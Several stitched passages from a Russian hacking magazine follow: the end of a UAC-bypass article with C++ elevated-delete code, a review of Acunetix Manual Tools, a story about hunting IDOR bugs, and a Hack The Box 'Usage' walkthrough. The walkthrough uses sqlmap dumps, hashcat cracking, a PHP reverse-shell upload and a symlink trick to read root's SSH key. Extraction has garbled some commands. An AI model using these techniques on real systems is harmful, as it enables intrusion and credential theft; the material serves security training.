}

 void ElevatedDelete()
{
      MessageBox(NULL, "DELETING", "TESTING", MB_OK);

   // This is only availabe on Vista and higher
         HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED |
COINIT_DISABLE_OLE1DDE);
    IFileOperation *pfo;
       hr = CoCreateInstanceAsAdmin(NULL, CLSID_FileOperation,
IID_PPV_ARGS(&pfo));
   pfo->SetOperationFlags(FOF_NO_UI);
      IShellItem *item = NULL;
       hr = SHCreateItemFromParsingName(L"C:\\WINDOWS\\TEST.DLL", NULL,
IID_PPV_ARGS(&item));
    pfo->DeleteItem(item, NULL);
   pfo->PerformOperations();
   item->Release();
   pfo->Release();
   CoUninitialize();
}

Однако  предоставляет методы и  для , и  для
.

интерфейс копирования файлов
создания

Конечно, это  не такой простой пример, ведь мы не  можем напрямую
исполнять команды, у  нас есть лишь возможности, связанные с  файловыми
операциями. Впрочем, их можно совместить с  , чтобы добить‐
ся привилегированного шелла.

SymLinks Abuse

ВЫВОДЫ

Иногда сами разработчики закладывают в свои программы функции, похожие
на полноценный бэкдор. Нужно искать лазейки и обходы, и ты их, возможно,
найдешь. Если хочешь попрактиковаться в  обходе UAC с  помощью Elevation
Moniker, то обрати внимание на интерфейс , на него еще нет

поков!

IColoDataProxy

https://t.me/Michaelzhm
https://thrysoee.dk/InsideCOM+/
https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal
https://javarush.com/groups/posts/2370-pattern-proektirovanija-factory
https://learn.microsoft.com/ru-ru/windows/win32/com/the-com-elevation-moniker
https://learn.microsoft.com/ru-ru/windows/win32/termserv/using-a-session-moniker
https://t.me/RedTeambro/306
https://learn.microsoft.com/en-us/windows/win32/com/runas
https://github.com/MzHmO/WinCOMFuzzer/blob/main/FindElevationMonikers/source.cpp
https://github.com/tyranid/oleviewdotnet
https://github.com/0xlane/BypassUAC
https://github.com/0xlane/BypassUAC/blob/master/BypassUAC/main.cpp#L54
https://amgedwageh.medium.com/lockbit-ransomware-analysis-notes-93a542fc8511
https://wikileaks.org/ciav7p1/cms/page_3375231.html
https://learn.microsoft.com/ru-ru/windows/win32/api/shobjidl_core/nn-shobjidl_core-ifileoperation
https://learn.microsoft.com/ru-ru/windows/win32/api/shobjidl_core/nf-shobjidl_core-ifileoperation-copyitem
https://learn.microsoft.com/ru-ru/windows/win32/api/shobjidl_core/nf-shobjidl_core-ifileoperation-newitem
https://nixhacker.com/understanding-and-exploiting-symbolic-link-in-windows/
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ВЗЛОМ

Acunetix Manual Tools  — инструмент
не  новый, но  интересный: это  удобный
швейцарский нож, который подойдет
людям, пока не  готовым разбираться
с  более сложными тулзами. Бывалым же
пентестерам рекомендую глянуть на  него
хотя бы из академического интереса — кто
знает, вдруг пригодится? Сегодня пос‐
мотрим на  его возможности и  прикинем,
на что он способен в 2024 году.

Я давно знаком с Acunetix и сразу предупреждаю, что Acunetix Manual Tools —
это скорее легаси. В какой‑то момент из программы убрали сканер и прочие
автоматические функции, оставив только тулзы для  ручного тестирования.
Зато эта версия бесплатна для  частного и  коммерческого использования,
хотя это и не опенсорс.

У начинающих редко бывают объемные задачи, требующие серьезной
автоматизации: обычно нужно похакать какой‑нибудь сайтик. Acunetix Manual
Tools для этого вполне сгодится. Его легко установить и начать использовать,
он позволяет проводить аудиты вручную без предварительного раскуривания
толстых мануалов и заучивания параметров к командам. Инструмент работа‐
ет в Windows, что в ИБ редкость (а в некоторых кругах даже зашквар).

Acunetix Manual Tools

Сам я пользуюсь этим тулкитом, чтобы быстро собрать данные и  поскорее
составить представление о таргете. Это удобнее, чем копаться в браузерных
«инструментах разработчика» или заводить виртуалку с Kali.

Что до «большого» Acunetix, из него в  Invicti сделали мощнейший инстру‐
мент. В  одной из  будущих статей я покажу в  деле возможности тамошнего
автоматического сканера, который предназначен уже скорее для  кор‐
поративного сегмента и DevSecOps, из‑за чего выглядит слегка запутанным.
Сегодня же изучим его младшего бесплатного собрата.

УСТАНОВКА

Программа распространяется в  виде установочного пакета для  Windows.
Приятно, что дистрибутив занимает всего четыре мегабайта, а  в установ‐
ленном варианте — десять! Скачать его можно с  , где
также есть краткое описание функций на английском.

официальной страницы

Интерфейс установки  — стандартный wizard. Достаточно указать папку
для установки и подтвердить, что ты хочешь получить значок на рабочем сто‐
ле (если действительно хочешь).

Запускаем программу, и вот перед нами стартовое окно.

Стартовое окно

Acunetix Manual Tools — это комбайн из восьми инструментов, который пред‐
назначен для ручного тестирования веб‑приложений, выявления и эксплуата‐
ции уязвимостей. Давай пройдемся по каждому разделу.

HTTP EDITOR

Это инструмент для редактирования и отправки ручных запросов HTTP/S. Он
позволяет анализировать и изменять запросы, а также проверять, как реаги‐
рует сервер и  что пишет в  ответе. Есть утилиты для  кодирования и  декоди‐
рования текста, а также возможность искать урлы и скрипты, собирать HTML-
формы и метатеги страницы.

ENCODER TOOL

Это не самостоятельный инструмент, он входит в HTTP Editor, но вполне дос‐
тоин отдельного упоминания за удобство. При работе часто приходится стал‐
киваться с  разными кодировками и  по‑всякому преобразовывать данные.
URL-кодировка, Base-кодировки, разные виды UTF — все это здесь доступно
в пару кликов. Копируем, вставляем, выбираем нужную кнопку, и готово!

SUBDOMAIN SCANNER

Сканер доменов третьего уровня помогает обнаруживать скрытые или  тех‐
нические поддомены, которые могут быть точками входа для  атак или  поз‐
волят обойти вредный Cloudflare. Главный недостаток этого сканера  —
использование встроенного словаря, который нельзя сменить. Словарь
не  самый плохой, однако подключение своих вариантов все же могли  бы
добавить.

TARGET FINDER

Средство для  поиска целей, которое помогает обнаруживать активные
веб‑серверы, порты и сервисы на определенных IP-адресах или диапазонах.
Тоже сильно упрощенный инструмент, возможности которого меркнут в срав‐
нении с  Nmap. Но  для новичка  — самое то. Указываем интересующие нас
порты, вводим IP или диапазон, нажимаем «Старт».

Из недостатков  — лично мне не  хватает определения доменного имени
хотя бы из SSL-сертификатов. При этом ты можешь смотреть ответ сервера
и  найти что‑то интересное сам. Важно отметить, что Target Finder пытается
установить как  защищенное (TLS), так и  открытое соединение, невзирая
на  указанный порт. Никто ведь не  мешает особенно хитроумному админу
запустить HTTP-демон на 443-м порте.

BLIND SQL INJECTOR

Инструмент для  тестирования обычных и  слепых SQL-инъекций, способный
автоматически проводить SQLi-атаки. Набор функций довольно широкий,
среди них — базовые методы борьбы с фильтрацией и экранированием. Так‐
же есть возможность выгрузить в  файл или  восстановить работу с  уяз‐
вимостью или  сессией. Здесь есть свои мелкие удобства: например,
при извлечении данных в рамках UNION-based-инъекции в интерфейсе видны
позиции «от» и  «до» элемента из  таблицы. Можно попробовать выполнить
свой SQL-запрос без  танцев с  его нормализацией или  прочитать файл.
Отмечу, что это инструмент не для автоматического тестирования, а для про‐
ведения самой атаки и извлечения данных.

Настройки Blind SQL Injector

HTTP FUZZER

Без фаззера  — никуда. Что такое фаззер? Средство для  автоматического
создания и отправки множества случайных или специфичных HTTP-запросов
с целью найти уязвимости — например, ошибки обработки данных или воз‐
можность перебора чего‑то. Здесь можно задавать свой набор символов,
длину, кодировку или, например, вежливо попросить подставлять значения
в  виде MD5  либо закодированные иным способом. Можно задавать разные
инкременты или попросить фаззер брать только символы из определенного
набора. Есть фильтры по  кодам ответа, можно регуляркой задать срабаты‐
вание на  конкретные слова. В  общем, фаззер гибкий и  при этом простой
в использовании. Из минусов отмечу отсутствие многопоточности.

AUTHENTICATION TESTER

Инструмент для  проверки пар логин  — пароль или  брутфорса веб‑форм
и  базовой веб‑аутентификации. Тут уже можно загружать свои словари, так
что собираем и  закидываем. Лично мне не  хватает встроенного фаззера
или генератора вордлистов, чтобы можно было задать правила для создания
последовательности и  наблюдать за  перебором. Опять же, видимо, дань
простоте.

WEB SERVICES EDITOR

Этот редактор позволяет взаимодействовать с  сервисами по  протоколам
SOAP и REST напрямую. В основном рассчитан на WSDL.

WSDL (Web Services Description Language)  — это  XML-формат, который
используется для  описания веб‑сервисов. В  нем можно передать струк‐
турированную информацию о том, как обращаться к сервису, какие функции
он предоставляет, какие данные принимает и  возвращает и  как эти данные
структурированы. WSDL используется в  веб‑сервисах, работающих по  про‐
токолу SOAP. Можно считать, что это  дедушка JSON и  прадед OpenAPI. Он
застал самое начало холиваров про фронтенд и бэкенд!

В этом разделе Acunetix Manual Tools удобно изучать структуру API, дер‐
гать разные методы и  так далее. Скармливаем библиотеку — смотрим фун‐
кции — задаем параметры — отправляем — изучаем ответ. Увы, инструмент
староват, а ведь как было бы здорово тыкать им тот же OpenAPI!

HTTP SNIFFER

Сниффер HTTP-трафика, захватывает и  запросы к  серверу, и  его ответы,
а потом позволяет анализировать их. Можно считать это прародителем Burp
Proxy или вкладки Network в «инструментах разработчика» браузера.

У сниффера весьма широкие возможности для  фильтрации запросов:
можно по  разным параметрам выделять только интересные. Скажем,
выводить только ошибки PHP или исключить обращения к файлам определен‐
ных расширений, например .jpg или  .js. Можно при  желании сохранить сес‐
сию или свои правила.

НАСТРОЙКИ

Настраивать в Acunetix Manual Tools почти что нечего. Можем задать SSL-сер‐
тификат или креды для прохождения базовой HTTP-аутентификации, а также
сюда зачем‑то убрали выбор порта для HTTP-сниффера. Лучше бы, конечно,
вернули возможность подключения прокси, как  это было у  корпоративной
версии раньше, хотя сейчас программа отлично работает через Proxifier.

ВЫВОДЫ

Несмотря на  свой почтенный возраст, Acunetix Manual Tools предоставляет
годный набор инструментов, который сослужит неплохую службу начинающе‐
му пентестеру. Здесь собран необходимый минимум для ручного тестирова‐
ния: от  нулевого этапа с  расширением поверхности атаки до  проведения
сложных SQL-инъекций.

Достаточно провести за  этим набором несколько часов, и  ты освоишься
с  многими базовыми принципами и  начнешь лучше понимать процесс тес‐
тирования веб‑приложений. Я считаю, это  отличная точка входа в  ИБ, хотя,
конечно, далеко не кнопка «взломать интернет».

https://t.me/CakesCats_com
https://www.acunetix.com/vulnerability-scanner/free-manual-pen-testing-tools/


Дмитрий Марюшкин
LinkedIn

ВЗЛОМ

IDOR  — самый опасный зверь в  лесу
OWASP. Даже один экземпляр, попавший
не  в те руки, может дорого обойтись ком‐
пании нашего инженера, поэтому он
использует все возможности, доступные
в его белом ящике, чтобы обогнать на этой
охоте пентестеров, багхантеров и  зло‐
умышленников.

ДЕЙСТВУЮЩИЕ ЛИЦА

Дмитрий — аппсек компании «ПузонТех»•
Рамсель — багхантер•
Роман — девопс‑инженер•
Игорь — QA-лид•

INFO

По просьбам выживших все имена были изме‐
нены. Из  уважения к  погибшим остальные
события были отображены именно так, как  они
происходили.

ДЕЙСТВИЕ ПЕРВОЕ

Майское утро, солнце начинает освещать верхушки деревьев, поют соловьи.
Комната с  двухэтажной кроватью и  рабочим столом с  двумя мониторами
и  ноутбуком, по  углам разбросаны игрушки, кубики Lego затаились, чтобы
напасть на зазевавшуюся босую ногу, дверь заперта изнутри.

На столе стоит кружка кофе, от нее поднимается струйка ароматного пара.
В инбоксе по баг‑баунти‑алертам одно новое сообщение.

 Да что там еще, неужто опять принесли пачку учеток сотрудни‐
ков со стилеров, не надоедает же им...

Дмитрий:

 Вот вам IDOR в  подтверждении заказа, можно получить имя,

адрес, телефон ваших клиентов и  корзину, на  скрине  — данные произволь‐
ного клиента.

Рамсель:

 О, неплохо, но у нас же там UUID везде в идентификаторах, где

ты вообще взял этот ID?

Дмитрий:

 Бро, а ты зацени веб‑архив по вашему домену!Рамсель:

 Да, валидное. Надо бы поискать у нас по логам все такие места.Дмитрий:

 Всё есть, сходи в  ClickHouse, возьми аксесс‑логи по  внешним
балансирам.

Роман:

***
Итак, у  нас есть аксесс‑логи приложения, стоит фильтрануть по  нашим
доменам, по  response status < 300  и, возможно, только по  авторизованным
пользователям (чтобы убрать мусор со сканеров).

Уже в скрипте отфильтруем статику.

Заменим параметры  и   заглушками и сгруппируем по полученному

пути, чтобы в результате остались только уникальные ручки.

path query

Обязательно оставим примеры сырых данных, они пригодятся дальше.
В результате из трафика у нас получится CSV.

Далее мы можем в этом файле отфильтровать результаты по колонкам 

и  . Нам нужно оставить только те значения, где будут наши заглушки

для всего похожего на токены или идентификаторы объектов: , ,
 или  . К  этому фильтру вполне можно добавить уже известные

нам названия чувствительных идентификаторов, допустим тот же ,

или  , или еще что‑нибудь.

path
args

{uuid} {hex}
{code} {int}

order_id
auth_token

Дальше для  отфильтрованных подозрительных ручек можно взять сырые
значения идентификаторов из   и  , предусмотри‐

тельно сохраненные нами, склеить их обратно в полный путь и списком ско‐
пировать в  словарик (Simple list) для  Burp Intruder, подставив к  своему GET-
запросу с актуальными тестовыми кредами (или вообще без них).

path_example args_example

Там, где в ответе нам вернется что‑то, кроме 403, — повод посмотреть, отда‐
ет ли сервер чужие данные и что в коде эндпоинта авторизации.

***
Аккуратно собрав с  десяток ручек, ответивших валидными данными на  зап‐
росы, Дмитрий пошел искать правильных разработчиков и  заводить тикеты
на исправления.

И надо поднять выплату Рамселю, много нашли проблем благодаря его
репорту.

ДЕЙСТВИЕ ВТОРОЕ

Прошло две недели. Офис, рабочая встреча в Zoom, все смотрят бесконеч‐
ный флоу онбординга, и только одинокая муха, ползущая по схеме на монито‐
ре, кажется, понимает, как ей стать клиентом компании.

Оповещение от  мессенджера с  текстом «Новый репорт от  Рам...» зас‐
тавляет Дмитрия выйти из оцепенения и переключиться на канал с баг‑баун‐
ти‑алертами.

 Привет, снова я! Нашел у  вас интересную багу: при  попытке

регистрации компании по  ИНН или  номеру телефона, если компания у  вас
уже в клиентах, вы отдаете существующий ID. Далее при обновлении данных
в своем профиле, используя этот ID вместо своего, я получаю обновленный
объект компании с контактами, адресами, ссылками на S3 с учредительными
документами — кажется, все это не публичная информация...

Рамсель:

 Ох, выглядит как  критичная инфа, спасибо! Дай нам время

разобраться...

Дмитрий:

 Кстати, а  откуда у  тебя ЛК? Это  же возможности для  биз‐
нес‑пользователей, куда не  попасть без  валидации документов юрлица
нашим бэк‑офисом...

Дмитрий:

 Так ИП мне не только чтобы выплаты получать!Рамсель:

***
Было чувство, что в  прошлый раз, пройдясь по  GET-ручкам с  параметрами,
мы зря пренебрегли остальным трафиком. Тут у  Рамселя получилось найти
IDOR в POST-запросе, и ни энтропия в UUID, ни отсутствие UUID в логах нас
не спасли. Будем думать, как нам поискать и такие проблемы.

Внезапно у нас с фронта на бэк всё летит в GraphQL, и нам легко зацепить
из схемы GQL все Input-параметры правилом для semgrep.

Правило находит нужный нам параметр и  возвращает его в   (на

самом деле в JSON-репорте — в метапеременных, откуда их проще достать
через jq).

message

Собрав все уникальные параметры на входе, мы можем отфильтровать толь‐
ко то, что похоже на  какой‑то вариант ID, и  добавить в  правило регулярку,
которая будет находить имя параметра.

После чего правило начнет возвращать нам только инпуты с  потенциально
проблемными ID в полях.

Если между фронтом и бэком летит gRPC или REST, мы с тем же успехом
можем насобирать правило, которое будет парсить Protobuf или YML-сваггер
файла.

Далее нам нужно найти хендлеры, в  которые приземляются найденные
модельки из  GraphQL. Поиск в  репозитории по  имени найденной модельки
быстро приводит нас в хендлер, отвечающий за обработку запроса.

Посмотрев несколько хендлеров и  раскурив, как  вызывается проверка
авторизации, мы можем составить еще  одно простое правило для  semgrep,
чтобы получить список всех хендлеров без авторизации.

Теперь осталось пересечь полученный вначале список инпутов с  парамет‐
рами и список хендлеров без упоминания авторизации. Немного магии баша,
и у нас готов шорт‑лист проблемных функций.

***
Протриажив найденное, Дмитрий убрал несколько хендлеров, где проверки
все‑таки были закопаны глубже, и зарепортил остальное.

 Вижу, ты закончил. Время сказать, что, кажется, ты немного

страдаешь фигней с магией баша, попробуй наш , он как  раз поз‐
воляет пересечь два детекта из  разных правил и  разных файлов проекта
через метапеременные, и он пока в OSS-версии.

Semgrep:

join mode

 Просто бомба, где ж ты был раньше, я уже всё руками пересек

и зарепортил...

Дмитрий:

 Ну дак добавь join-правила в регулярные сканы!Semgrep:

 О, точно, а у нас есть регулярные сканы?!Дмитрий:

ДЕЙСТВИЕ ТРЕТЬЕ

Офис компании, кухня, обед. В микроволновках кружатся домашние котлетки
и фаршированные перчики, распространяя зловоние. В очереди у кофе‑пой‐
нта происходит диалог.

 О, Дим, привет! Слышал, нас опять хорошенечко обнесли

на  баг‑баунти, даже добавил своим ребятам плюс на  следующем ревью
за каждый найденный автотестами IDOR.

Игорь:

 Да  не говори, но  спасибо, что на  баг‑баунти, а  не в  РКБ...

Хотел как  раз дойти до  тебя, думаю, как  нам в  тестовом контуре встроить
какую‑нибудь проксю, которая бы пропускала через себя весь трафик и сгру‐
жала мне заполненные данными запросы, а я бы ими потом стрелял в ту же
сторону со  своими кредами, и  там, где у  меня в  ответах не  «403  Руки свои
убрал, это чужое!», генерил бы алерт и разбирался...

Дмитрий:

 А ты глянь на наши E2E-тесты, там, кажется, всё, что тебе нужно,

чтобы обойтись без прокси...

Игорь:

***
А ведь и правда, средний E2E-тест у наших QA выглядит примерно так:

завести пользователя с нужными ролями;•
завести объекты, дотолкать их до нужного бизнес‑сценарию состояния;•
прогнать последовательность бизнес‑сценария;•
удалить пользователя и объекты.•

Выглядит, что, если собрать трафик с автотеста и дальше с какой‑нибудь дос‐
таточной задержкой его использовать, мы уже не  застанем в  базе ни  поль‐
зователя, ни его объектов.

Попробуем для  начала собрать все вариации параметров в  запросах
на создание пользователей, таким образом мы получим все варианты ролей
и типов клиентов.

Дальше найдем в коде автотестов функцию‑обертку, через которую тесты
ходят в API.

Пробуем проверить, есть ли в дикте с данными запроса что‑то похожее на ID
(вспомним про регулярку поиска ID в параметрах для semgrep).

Если находим, то дальше вместо одного запроса пошлем два: первый зап‐
рос со  входными данными, прилетевшими из  автотеста, но  с рандомным
пользователем из собранных ранее.

Если первый запрос возвращает ошибку в статусе 403 или какой‑то извес‐
тный нам текст ошибки в теле, считаем это нормой и шлем второй запрос уже
с кредами валидного пользователя, прилетевшего из автотеста.

И если первый запрос возвращает код 200, мы падаем с ошибкой и тест
фейлится, отдавая проблему в QA на разбор.

Теперь для существующего и для любого созданного далее автотеста мы
автоматом проверим IDOR’ы.

***
Воодушевленный найденным красивым решением, Дмитрий засел за ресерч
и тестирование нового метода, будущее казалось ему светлым и радостным.

 Ты только имей в виду, что у нас покрытие автотестами хорошее,
но  не  100% и  тесты могут доезжать с  большой задержкой после появления
фич, так что, возможно, кроме этого, стоило  бы дойти до  разработки
и подумать, как больше не дать разработчику ошибиться там, где он сейчас
ошибается.

Игорь:

 Да, кажется, есть повод вместе подизайнить какую‑то общую

пуленепробиваемую мидлварь, в которой все известные нам ID во входящих
запросах типизированы. Мидлварь, видя в  схеме соответствующий тип ID,
будет узнавать, как его проверить на соответствие пользователю из текущей
сессии, а нетипизированные параметры, похожие на ID, будут давать фейл.

Дмитрий:

Но это, кажется, тема для четвертого действия...

https://www.linkedin.com/in/dmarushkin/
https://semgrep.dev/docs/writing-rules/experiments/join-mode/overview
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ВЗЛОМ

Сегодня я покажу, как раскрутить SQL-инъ‐
екцию в  форме сброса пароля и  получить
учетные данные. Затем проэксплуатируем
уязвимость RCE через загрузку веб‑шелла
в  фреймворк Laravel. Для  повышения при‐
вилегий используем уязвимость в приложе‐
нии для бэкапов.

Наша цель — получение прав суперпользователя на машине Usage с учебной
площадки . Уровень задания — легкий.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Сначала добавим IP-адрес машины в файл :/etc/hosts

10.10.11.18    usage.htb


Затем запустим сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел два открытых порта:
22 — служба OpenSSH 8.9p1;•
80 — веб‑сервер Nginx 1.18.0.•

На SSH, не  имея учетных данных, нам пока делать нечего, поэтому сос‐
редоточимся на  веб‑сервере. Для  начала выясним, какие на  сайте исполь‐
зуются технологии. Это удобно делать с помощью сервиса . Он ана‐
лизирует веб‑страницу и  пытается определить, какие CMS, веб‑серверы,
языки программирования, фреймворки и  другие технологии используются
на сайте.

WhatWeb

Запустим WhatWeb и передадим ему IP-адрес целевого сервера:

whatweb http://10.10.11.18


Результат работы скрипта

Результаты сканирования показывают, что веб‑сайт использует Laravel  —
популярный PHP-фреймворк, который широко применяется для  разработки
веб‑приложений. Это  важная информация, так как  в случае уязвимостей
в Laravel мы сможем их использовать для дальнейшей атаки.

Кроме того, на сайте настроен редирект на домен .usage.htb
На сайте мы видим стандартную форму авторизации с  возможностью

регистрации новых пользователей.

Форма авторизации

ТОЧКА ВХОДА

При попытке перейти на страницу Admin ( ) мы сталкиваемся с ошиб‐

кой Unknown host.

/admin

Ошибка Unknown host

Это происходит из‑за того, что наш локальный DNS не знает о существовании
поддомена . Чтобы исправить это, нужно обновить запись

в файле /etc/hosts:

admin.usage.htb

10.10.11.18 usage.htb admin.usage.htb


После этого перезагружаем страницу, и  перед нами открывается главная
страница администраторской панели.

Главная страница admin.usage.htb

В поисках точки входа переходим к  тестированию функции восстановления
пароля на  странице . Это  потенциальная точка для  про‐

ведения SQL-инъекции.

/forget-password

Справка: SQL-инъекции и sqlmap
  — это  тип уязвимости, при  котором злоумышленник может

внедрить произвольный SQL-код в запрос к базе данных через пользователь‐
ский ввод. Это  может позволить просматривать, изменять или  удалять дан‐
ные из базы данных, а также иногда получать доступ к операционной системе.
Чтобы найти возможность провести SQL-инъекцию, при  тестировании при‐
ложений отправляют специальные символы и последовательности через про‐
веряемое поле и  смотрят реакцию сервера. Если сервер отвечает иначе
на  определенные символы, это  может свидетельствовать о  наличии уяз‐
вимости.

SQL-инъекция

 — это мощный инструмент для автоматизации процесса эксплу‐

атации SQL-инъекций. Он позволяет автоматически обнаруживать и исполь‐
зовать уязвимости, подбирать пароли, извлекать данные и выполнять коман‐
ды на сервере.

Sqlmap

.

Подробнее читай в статье «

»

SQL-инъекции. Разбираем на паль-

цах одну из самых популярных хакерских техник

Просмотрим запрос на сервер в  .Burp History

Запрос на восстановление пароля

Теперь будем перебирать разные последовательности символов. Если сер‐
вер отреагирует каким‑то необычным образом, это  даст нам направление
для дальнейших исследований.

Для перебора перенаправим запрос комбинацией клавиш Ctrl-I в  Burp
Intruder.

Burp Intruder — вкладка Positions

Burp Intruder — результат атаки

В итоге получаем несколько типичных для SQL injection нагрузок. Продолжаем
проверку SQL-инъекции, и среди UNION-нагрузок, определяющих количество
столбцов в таблице, всего одна дает отличный от остальных нагрузок резуль‐
тат. Так мы понимаем, что в  таблице семь столбцов, а  уязвимость на  сайте
присутствует.

Проверка нагрузок для SQL-инъекции

Попробуем автоматизировать эксплуатацию уязвимости.

SQL-инъекция
Сохраним запрос из Burp History в файл , после чего передадим файл

программе sqlmap в  параметре . Также в  параметре  укажем уязвимый
POST-параметр  и  запросим базы данных на  сервере ( ). Спустя

полчаса sqlmap определил уязвимость, подобрал нагрузку и нашел существу‐
ющие базы данных.

r.txt
-r -p

email --dbs

  5 10 sqlmap -r r.txt -p email --batch --level --thread= --dbs

Нагрузка sqlmap

Список баз данных

Среди представленных баз данных нам нужна пользовательская .
Получим таблицы ( ) из этой базы ( ).

usage_blog
--tables -D

  5 10 sqlmap -r r.txt -p email --batch --level --thread= -D usage_blog 
--tables

Таблицы в базе usage_blog

Наибольший интерес представляет таблица . Выгрузим из этой
таблицы ( ) все данные ( ).

admin_users
-T --dump

  5 10 sqlmap -r r.txt -p email --batch --level --thread= -D usage_blog 
-T admin_users --dump

Содержимое таблицы admin_users

Так мы получаем всего один хеш пароля администратора. Судя по  виду,
использован алгоритм хеширования bcrypt. Определить соответствующий
режим hashcat можно, поискав слово bcrypt в справке утилиты.

 | hashcat -h grep bcrypt


Режимы для алгоритмов hashcat

Теперь мы знаем, что нам нужен режим 3200, и мы можем запустить подбор
пароля. Для  этого будем использовать популярный словарь .
Перебор займет всего пару минут.

rockyou.txt

hashcat -m 3200 hash rockyou.txt


Результат подбора пароля

С полученными логином и паролем авторизуемся в админке сайта.

Главная страница админа сайта

На странице Dashboard можно увидеть список используемых технологий.

Продолжение статьи
→
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HTB USAGE
РАСКРУЧИВАЕМ SQL-ИНЪЕКЦИЮ

И АТАКУЕМ LARAVEL

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ТОЧКА ОПОРЫ

Теперь нам известна точная версия фреймворка Laravel и  мы можем про‐
верить, существуют ли для нее уязвимости. Проще всего для этого поискать
в Google.

Поиск эксплоита в Google

Эта версия фреймворка уязвима к  выполнению произвольного кода через
неконтролируемую загрузку файлов на  странице параметров пользователя
( ). Это позволит нам загрузить PHP-шелл.CVE-2023-24249

Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина,
а  мы принимаем и  таким образом подключаемся к  ней, чтобы выполнять
команды от лица пользователя, запустившего шелл. Для приема соединения
необходимо создать на локальной машине listener, то есть «слушатель».

Запускаем листенер:

pwncat-cs -lp 4321


И загружаем  в  формате JPG, предварительно установив
свои данные для подключения к листенеру.

php-reverse-shell

Загрузка PHP-шелла

Отлавливаем запрос в Burp Proxy и добавляем к имени загружаемого файла
еще одно расширение ..php

Изменение запроса в Burp Proxy

Страница с загруженным шеллом

Теперь переходим к загруженному файлу и в логах листенера видим коннект
от реверс‑шелла. Таким образом получаем сессию на хосте и забираем пер‐
вый флаг.

Флаг пользователя

ПРОДВИЖЕНИЕ

В домашнем каталоге пользователя есть файл , в котором находим

учетные данные пользователя .

.monitrc
admin

Содержимое домашнего каталога пользователя

Содержимое файла .monitrc

Эти учетные данные могут быть полезны для дальнейшего продвижения. Про‐
верим, к каким пользователям они подойдут. Получим список пользователей
с активной командной оболочкой из файла ./etc/passwd

bash
cat /etc/passwd | grep 

Активные пользователи

Пользователь dash у нас уже есть, поэтому пробуем подключиться как поль‐
зователь xander.

Сессия пользователя xander

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  хост скрипт для  Linux, дадим право на  выполнение и  запустим
сканирование. В выводе будет много информации, но нам здесь интересны
только настройки sudoers.

Настройки sudoers

Видим, что мы можем запустить файл  от имени

пользователя root без ввода пароля. Скорее всего, это можно будет исполь‐
зовать. Давай посмотрим, что это за файл.

/usr/bin/usage_management

file /usr/bin/usage_management


Формат файла

Это скомпилированная бинарная утилита, а значит, ее анализ будет немного
сложнее, нежели скрипта на Bash или на Python. При запуске программы нам
предложат выбрать один из трех вариантов.

Запуск программы

Стоит проверить, что будет происходить в  системе при  работе этой прог‐
раммы. Для отслеживания вновь запускаемых процессов будем использовать
утилиту . Логинимся по  SSH в  новой консоли, запускаем pspy64,

а  затем выбираем первую функцию в  исследуемом приложении. В  логах
pspy64 тут же отобразится странный процесс.

pspy64

Логи pspy64

Утилита вызывает через командную оболочку архиватор 7za. Используем ути‐
литу  для получения всех строк из файла.strings

Строки из файла usage_management

Видимо, перед выполнением команды  рабочий каталог меняется на 

. В аргументах  интересна последовательность параметров 
. Параметр  означает, что все последующие «слова» будут воспринимать‐

ся не как параметры, а только как пути к файлам.

7za var/
www/html/ 7za -- 
* --

Получается, что если мы создадим в  каталоге  файл
 и симлинк  на ключ , то  будет воспри‐

нимать  как  список файлов. А  при попытке прочитать каждую строку

из   как файл архиватор будет выводить сообщение об ошибке, содер‐
жащее эту строку. Таким образом мы получим все содержимое приватного
ключа пользователя root.

/var/www/html/
@id_rsa id_rsa /root/.ssh/id_rsa 7za

id_rsa
id_rsa

cd /var/www/html/

touch @id_rsa


 ln -s /root/.ssh/id_rsa id_rsa


sudo /usr/bin/usage_management


Запуск приложения

Ошибка чтения файлов

Как и  предполагалось, мы получаем все содержимое файла по  ссылке.
Перепечатываем ключ и заходим по SSH как пользователь root.

Флаг рута

Машина захвачена!

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-24249
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
https://github.com/carlospolop/PEASS-ng
https://github.com/DominicBreuker/pspy
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ВЗЛОМ

Сегодня мы с тобой проэксплуатируем XSS
в  чат‑боте, чтобы получить переписку дру‐
гого пользователя. Затем получим доступ
в систему через RCE-уязвимость в утилите
Simple Git и  скомпрометируем LibreNMS
для  продвижения к  другим пользователям.
Для  повышения привилегий используем
уязвимость в LibreOffice.

Наша цель — получение прав суперпользователя на машине FormulaX с учеб‐
ной площадки . Уровень задания — сложный.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.6    formulax.htb


И запускаем сканирование портов.

Справка: сканирование портов
